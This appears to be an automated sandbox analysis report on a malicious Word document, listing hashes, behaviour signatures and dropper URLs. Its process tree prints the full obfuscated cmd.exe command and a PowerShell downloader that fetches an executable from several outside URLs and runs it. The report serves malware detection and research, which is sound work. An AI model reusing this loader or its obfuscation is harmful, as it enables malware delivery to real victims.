Analysis
- max time kernel
136s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
03/05/2024, 09:39
Behavioral task
behavioral1
Sample
1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc
Resource
win7-20231129-en
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc
Resource
win10v2004-20240419-en
10 signatures
150 seconds
General
- Target 1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc
- Size 126KB
- Sample240503-lmnh8adf99
- SHA256 90d1d29ed1538b77095671b296b48bf14b867b732f1e558644e90de4c903cf84
- MD5 1035e389f1bf562ed879d13c1e2892b7
- SHA1 c548e3268533e58351bb957be3d39b99c0234199
- SHA512 719526ad956aa0c18ef1f2a8582bbeb37aaf668b723e2bf74e3202cff8163bd0315f316975d592b9215171a94909075790973d3300c17db97e7b7d6b5514f118
- SSDEEP 1536:pptJlmrJpmxlRw99NBN+aEmLK18JZyvPxdsmp6hcSnfPbQrUU6tN7C:Xte2dw99fTJyxdsKGXfTQrt6tx
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://malehequities.com/wp-includes/widgets/Wta9fQ
-
exe.dropper
http://komedhold.com/wp-content/EaW
-
exe.dropper
http://austincondoliving.com/TnZNdohh
-
exe.dropper
http://www.estelleappiah.com/wp-content/uploads/2OCShGJG
-
exe.dropper
http://www.peruwalkingtravel.com/LI
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4148 2916 cmd.exe 85 - Blocklisted process makes network request 1 IoCs
flow pid Process 37 3880 powershell.exe - An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 4148 cmd.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2916 WINWORD.EXE 2916 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3880 powershell.exe 3880 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3880 powershell.exe - Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2916 WINWORD.EXE 2916 WINWORD.EXE 2916 WINWORD.EXE 2916 WINWORD.EXE 2916 WINWORD.EXE 2916 WINWORD.EXE 2916 WINWORD.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2916 wrote to memory of 4148 2916 WINWORD.EXE 90 PID 2916 wrote to memory of 4148 2916 WINWORD.EXE 90 PID 4148 wrote to memory of 3880 4148 cmd.exe 96 PID 4148 wrote to memory of 3880 4148 cmd.exe 96
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1035e389f1bf562ed879d13c1e2892b7_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SYSTEM32\cmd.execmd /V/C"^s^e^t ^2v^An=^9^]^z^ ^\^Y^k^ ^1^.^w^ ^|^=^y^ ^-^7^h ^[^3^K^ ^7^i^\ N^#^F ^P^`^_^ ^G^AC^ ^-^Mn^ ^#^z^H^ ^*^qR^ ^7^u^x^ ^BHC Q^j/^ ^5^I^K^ ^l^Q^e^}(^or^}^e^W^h^{C^}n^h^3^]/c^q^aV^t;^-^s^a^.n;cL^e^&^}T^-^'^;^d^G^[k^Eec^a^1^A^L^e^gS^[rc^a{^b^=^`N^;^}^B^?^G%^[N^J^i^{^7^M^.^`^s^$^3^W^h^ ^O^J^x^m^'^J^}^e^b^t(t^-^j^'^I^4^'^$^-^`^*^O^e^~(/^k^[^A^<^o(N^:v^?%^Bn^h^3^]IR^[8^;^=^ ^+)^0^l^P^G^\g^X^J^p^L^[^MN^K^M^$^p^6^s^ ^$R^q^,^L^:^U^m^,^9^7^f^Q%v^j^{^Qn^$^t^:^l(^-^*/^e^m'^6^l^0^+^Wi^u^2^>^F9^;^D^d^p^j^`^a^i^K^.^o^8^2;^l^J^.mn7^+^Y^w^`^G^D^o8^2^T^D^q^e/^.c^,^U^B^|^+^e^GR^=^i^On^yw^$L^a^=^{/^b%^yC^L^$r^_^S^UtN?^.^{s%/)vn^<r^l^L^>^M^[n^L^M^fro^$^b^#^U^ ^t^F^]n^[^g^I^i^2(\ ^3^>^p^m^G4^t^f^?R^B^j^w^|/^$^*r^l(^]^9^+^h^m%Rc%^<0^a^-^q%^e^f^#^hr^AV^&^o^P^xi^f^3^ ^1;^a^x%^'^B^5^=^e^X^m^[^x^bv^\^e^;^o^\^.^P^`^;^'^G^<^3^+^3^]%^I%^m^W^T^T^b^_^i^m^{^5^$@^X^W^+^x^$^|^'^0^[^#^\^>^}r^'^Y}^9^+^?q^*c^u^G^AiH^t^'^l^ ^l^X^b^g^3N^u)^@^U^p^|^Y0^:^x^,(v^8^]vn^@^J^f^e^;^tv^$^j^l^9^=^\^#^?^G^+^,^h^J^L^s^e^M^L^=^U^$^W^1B^;^Q^7^[^')^e^|^9^@^|q1c^t^G^3a^m^Q^'^-8^<^ ^t^-^P^=^$^]^D^ ;V^K^I^x^:^h^T^Z^H^u^i^>%^{^$^5^@^h;^@%^T)^6^w/^'pD^?^@^70C^'^;^#^-(^+^.^J^t^*^Fc^i^4^a^?^l^Wf^Z^p?^o^$^S^F^1d^.^6^H^F^'^'^1^=^Ic^bV^L^8^W^4/^=^6^H^mn)^q^o^O^}^;c^M^|^:^.^T^ ^-^l^{^:^qe^2^J^_v^]^,^2^a^+^m^Qr^{^4C^t^J^F^I^g^_^G^jnc^B^'^i^-^j^3k^\^G^m^l^G^t^+^a^9^e^2^wc^b^U^u^<^W^Or^i^O^S^eJe^O^p^T(d^.^Yr*^w^&^}^k^w^G^@^x^w^X^y^9/^O^*(/^s^~^l^:)^*^g^p%^=^\^t^.^2^Y^t^s^85^hC^.^-^@^2^oV^Gj^+^5^J)^I^0^G^~^o^?^h^K^k^J^S^.^`RC^`^>R^O)^4^L^2,^7^S/^_c^Ts^e^#8^d^P^X^w^a^h5^D^o^}^{^_^l^_^3^y^p^*^,^x^u=^1^D/^o^U^~^t^[^K^{n^p^[^x^e^>^jP^t^O^Z*n^g^5^{^o^`^T^=c^G^q^e^-^Ov^Lp^DU^9^w^Z^oJ/^y^J^6^mp^{^>^o^Gv^Jc^L^D^s^.)^:^u^h^?^-^~^a^X^-^?^i^+^7^;^p^H/W^p^Z^k^$^a^M^5^\^e^~V^X^l^]^&g^lk^eVeC^u^H^t^F^3^6^s^K^40^e^*^a^P^.^6V^[^w^p^|^P^w^q^j^P^w%^P//^@dV/^p^2^ ^:^`^.^ ^p^i^m^L^t^0v^i^tnW/^h#^T^E^@^H^#^+^hg^i0^h^:c^E^o^J^q^~^d^E^]^yN^-^s^>^ZR^s^an^-^a^K^T^Y^mc/^S^p^l^mkA^7^o^t^k^ic^,^9^$^.^?^q^7^g^i^a^kn^9^`^a^i^F^x^`v^+^`^-^i^@^drl^i^-^<^o^\^-^Q^d^Y^A^xn^@^Zw^o^l^]^}c^-^.Znvj^1^i^m^Y^[^t^t^`^&^s^_N^y^u%a^T^au^Q^Z/^S^0^</^I^[^a^:^Q^ae^p^@^Q^+^tr^}^i^t^Y^8^{^h^3^s^-^@^;^0^$^WVR^Ya^O^H^g^E^BX^}/^>^;\^tb^J/n^w^X^t^e^@^b^4^t^T^y^Zn^&^q^>^o^MD^dc%^<^Y^-)^~^4^p^0^+^8^w^1^YK/^[^Jc^mn^7c^o^a^7^Qc^TR^=^.v^$^&^d^]^@^\^l^G^?^{^o^2^w^T^hP^t^3^d^+^i^de^X^x^1^m^t^&^#^o^l^u^]^k^~^:^}/^Y^l^F/^j^9^u^:^H^s6^p^ol^]^t^Yr^j^t^?^i^j^h^l^QN^@^$)cQ^o^zr^f(^U^5^9^j^}^a^a^{^T^gtW3;^W^L^K^s/^i^F^\s^8^ p^tv^F^o^e^p^O^x^g^T^X^A^dN^u^X^i^7/^,^w^}c^:/^ ^T^ts^Y^sre^*^{W^dR^Z^_^u^h^3^e^l^b^$^Bc^w(^En^f^J^p^i^&^{y^-^4^$^g^p^T^p)^w^I/^3/^l_^\mv^F^Lo^|^@^;c^_^a^+.^2^[^J^s^5^X^I^e^F^z^,^iA^W^<^t^g^_^=^i^;^7^H^u^O)F^q^q1^.^e^Q^S-^hN^Y^D^e^l^A^|^l^p^@^sa^.^:(^m^Z^A^M//^m^?/^j^G^Y^:^O^-^0^sc^o^Y^pr(^`^t^x^ ^D^t/v^l^hN^H^[^'^6^5^|^=^_}^Jr^3^a^&^M^ ^S^8^M^#^~^Y^$^|^g^f^;^{^[^>^t^\)^>n^G^|^+^e^:^xN^icQ^+^l^WN^ZC^bcv^b{^X^&^e^>^H^J^W%^Z^-.^}9^d^t^m^Z^Mep^6rN^z^XH^ ^F^A^'^tr^?^Dc^j^#^K^e^H^~^T^j^y^m^4^b^}^DV^o^8^p^i^-^Z^;^'^wU^b^d^e^]^~^In^]^:)^=^g^U^H^BNc^B^G^8^@^h^O^,%l^$^t^ ^e^ ^B^>^`^l^S^[^h^l^J6^h^e^`^$u^h^GV^<s^A^x^Gr^>^9$^e/^*(^w^'^]^4^o),^M^p&&^f^or /^L %^b ^in (^17^1^9,^-^4^,^3)^d^o ^s^e^t ^3^2=!^3^2!!^2v^An:~%^b,1!&&^i^f %^b ^e^q^u ^3 ca^l^l %^3^2:~^-^4^3^0%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $OGB=new-object Net.WebClient;$MMr='https://malehequities.com/wp-includes/widgets/Wta9fQ@http://komedhold.com/wp-content/EaW@http://austincondoliving.com/TnZNdohh@http://www.estelleappiah.com/wp-content/uploads/2OCShGJG@http://www.peruwalkingtravel.com/LI'.Split('@');$iTI = '319';$MJG=$env:public+'\'+$iTI+'.exe';foreach($jfm in $MMr){try{$OGB.DownloadFile($jfm, $MJG);Invoke-Item $MJG;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3880
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xant4hrq.31k.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl
- Size 245KB
- SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
- MD5 f883b260a8d67082ea895c14bf56dd56
- SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
- SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
- SSDEEP 6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Public\319.exe
- Size 359B
- SHA256 aade8db7c2dce4f30e6d9a254fc76235b361f277d64f9440519c1700291d192d
- MD5 630b3abeb6bdcdff6420b769b9ba75d7
- SHA1 d25d6f218d5eacdd15875dcea561a69dd49ec0ce
- SHA512 2a8efa22c54f8261b28f83cf81bef19d30e5b5820e227a606a711bbaf9c95b1a5a8572a087b090e88ad4b1cd84e09cf03c1b20cc17b17ae5a42c5066d1e1a4eb
- MD5 SHA1 SHA512